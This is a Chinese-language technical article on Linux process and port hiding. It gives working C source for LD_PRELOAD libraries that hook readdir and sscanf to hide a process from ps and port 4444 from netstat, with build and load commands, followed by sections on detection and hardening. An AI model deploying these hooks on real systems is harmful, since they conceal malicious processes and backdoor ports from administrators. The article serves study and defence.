linux下进程隐藏的一些研究
字数 1144 2025-08-27 12:33:54
Linux下进程隐藏技术研究与实践
一、进程隐藏技术概述
进程隐藏是系统安全领域的一项重要技术,通过修改系统工具的行为或内核数据结构,使得特定进程对常规检测工具不可见。本文基于Linux系统,详细分析两种主要的隐藏技术:ps进程隐藏和netstat端口隐藏。
二、ps进程隐藏技术
1. 准备工作
- 获取procps源码:
git clone https://gitlab.com/procps-ng/procps.git
- 关闭内核地址随机化(便于调试):
sudo sh -c "echo 0 > /proc/sys/kernel/randomize_va_space"
- 编译带调试信息的procps:
./autogen.sh && ./configure CFLAGS="-ggdb" LDFLAGS="-ggdb" --prefix=$PWD
make clean && make -j12 && make install
2. ps命令工作原理分析
ps命令主要通过以下步骤获取进程信息:
- 打开
/proc目录 - 遍历所有PID目录
- 读取以下文件获取进程信息:
/proc/[pid]/status/proc/[pid]/stat/proc/[pid]/cmdline
关键数据结构dirent:
struct dirent {
ino_t d_ino; /* inode number */
off_t d_off; /* offset to the next dirent */
unsigned short d_reclen; /* length of this record */
unsigned char d_type; /* type of file */
char d_name[256]; /* filename */
};
3. 基于LD_PRELOAD的hook技术
使用LD_PRELOAD覆盖系统库函数,实现进程隐藏:
#define _GNU_SOURCE
#include <stdio.h>
#include <dlfcn.h>
#include <dirent.h>
#include <string.h>
#include <unistd.h>
/* 要隐藏的进程名 */
static const char *process_to_filter = "ping";
/* 获取目录名 */
static int get_dir_name(DIR *dirp, char *buf, size_t size) {
int fd = dirfd(dirp);
if (fd == -1) return 0;
char tmp[64];
snprintf(tmp, sizeof(tmp), "/proc/self/fd/%d", fd);
ssize_t ret = readlink(tmp, buf, size);
if (ret == -1) return 0;
buf[ret] = 0;
return 1;
}
/* 获取进程名 */
static int get_process_name(char *pid, char *buf) {
if (strspn(pid, "0123456789") != strlen(pid)) return 0;
char tmp[256];
snprintf(tmp, sizeof(tmp), "/proc/%s/stat", pid);
FILE *f = fopen(tmp, "r");
if (f == NULL) return 0;
if (fgets(tmp, sizeof(tmp), f) == NULL) {
fclose(f);
return 0;
}
fclose(f);
int unused;
sscanf(tmp, "%d (%[^)]s", &unused, buf);
return 1;
}
/* 定义hook宏 */
#define DECLARE_READDIR(dirent, readdir) \
static struct dirent* (*original_##readdir)(DIR*) = NULL; \
\
struct dirent* readdir(DIR *dirp) \
{ \
if(original_##readdir == NULL) { \
original_##readdir = dlsym(RTLD_NEXT, #readdir); \
if(original_##readdir == NULL) \
{ \
fprintf(stderr, "Error in dlsym: %s\n", dlerror()); \
} \
} \
\
struct dirent* dir; \
\
while(1) \
{ \
dir = original_##readdir(dirp); \
if(dir) { \
char dir_name[256]; \
char process_name[256]; \
if(get_dir_name(dirp, dir_name, sizeof(dir_name)) && \
strcmp(dir_name, "/proc") == 0 && \
get_process_name(dir->d_name, process_name) && \
strcmp(process_name, process_to_filter) == 0) { \
continue; \
} \
} \
break; \
} \
return dir; \
}
DECLARE_READDIR(dirent64, readdir64);
DECLARE_READDIR(dirent, readdir);
4. 测试效果
- 编译为共享库:
gcc -shared -fPIC -o libprocesshider.so processhider.c -ldl
- 使用LD_PRELOAD加载:
LD_PRELOAD=./libprocesshider.so ps aux
此时,指定的进程名(如"ping")将不会出现在ps输出中。
三、netstat端口隐藏技术
1. 准备工作
- 获取net-tools源码:
git clone https://github.com/ecki/net-tools.git
- 编译带调试信息:
./configure.sh CFLAGS="-ggdb" LDFLAGS="-ggdb" --prefix=$PWD
make clean && make -j12
rm bin && mkdir bin
install -m 0755 netstat bin
2. netstat工作原理分析
netstat主要通过读取以下文件获取网络信息:
/proc/net/tcp/proc/net/tcp6
关键函数调用链:
tcp_info() -> _PATH_PROCNET_TCP -> tcp_do_one()
3. 基于sscanf的hook技术
hook __isoc99_sscanf函数来隐藏特定端口:
#include <stdarg.h>
#include <stdio.h>
#include <string.h>
int __isoc99_sscanf(const char *str, const char *format, ...) {
int ret;
va_list ap;
va_start(ap, format);
/* 隐藏4444端口(16进制为115C) */
if (strstr(str, "00000000:115C 00000000:0000 0A"))
return 12; // 返回12避免触发错误检测
ret = vsscanf(str, format, ap);
va_end(ap);
return ret;
}
4. 测试效果
- 编译为共享库:
gcc -shared -fPIC -o libnetshider.so netshider.c -ldl
- 使用LD_PRELOAD加载:
LD_PRELOAD=./libnetshider.so netstat -antup
此时,4444端口将不会出现在netstat输出中。
四、技术局限性分析
-
ps隐藏的局限性:
- 仅影响基于
/proc文件系统读取进程信息的工具 - 进程实际仍在运行,可通过其他方式检测(如直接检查
/proc目录)
- 仅影响基于
-
netstat隐藏的局限性:
- 仅影响使用
/proc/net/tcp的工具 - 其他工具如
ss可能仍能看到端口 - 需要针对不同工具分别hook
- 仅影响使用
-
检测方法:
- 使用未受hook影响的工具(如直接读取
/proc) - 检查异常的LD_PRELOAD环境变量
- 使用静态编译的工具
- 使用未受hook影响的工具(如直接读取
五、防御措施
-
检测隐藏进程:
# 直接查看/proc目录 ls -d /proc/[1-9]* # 使用未受LD_PRELOAD影响的工具 busybox ps -
检测隐藏端口:
# 直接读取/proc/net/tcp cat /proc/net/tcp | awk '{print $2}' | grep -i 115C # 使用替代工具 ss -antup lsof -i -
系统加固:
- 禁用不必要的LD_PRELOAD
- 使用完整性检查工具监控关键系统文件
- 部署安全监控系统
六、总结
本文详细分析了Linux下两种进程隐藏技术:通过hook readdir函数隐藏ps可见的进程,以及通过hook sscanf函数隐藏netstat可见的端口。这两种技术各有优缺点,在实际应用中需要根据场景选择合适的方法。同时,作为防御方,了解这些技术原理有助于更好地检测和防范恶意隐藏行为。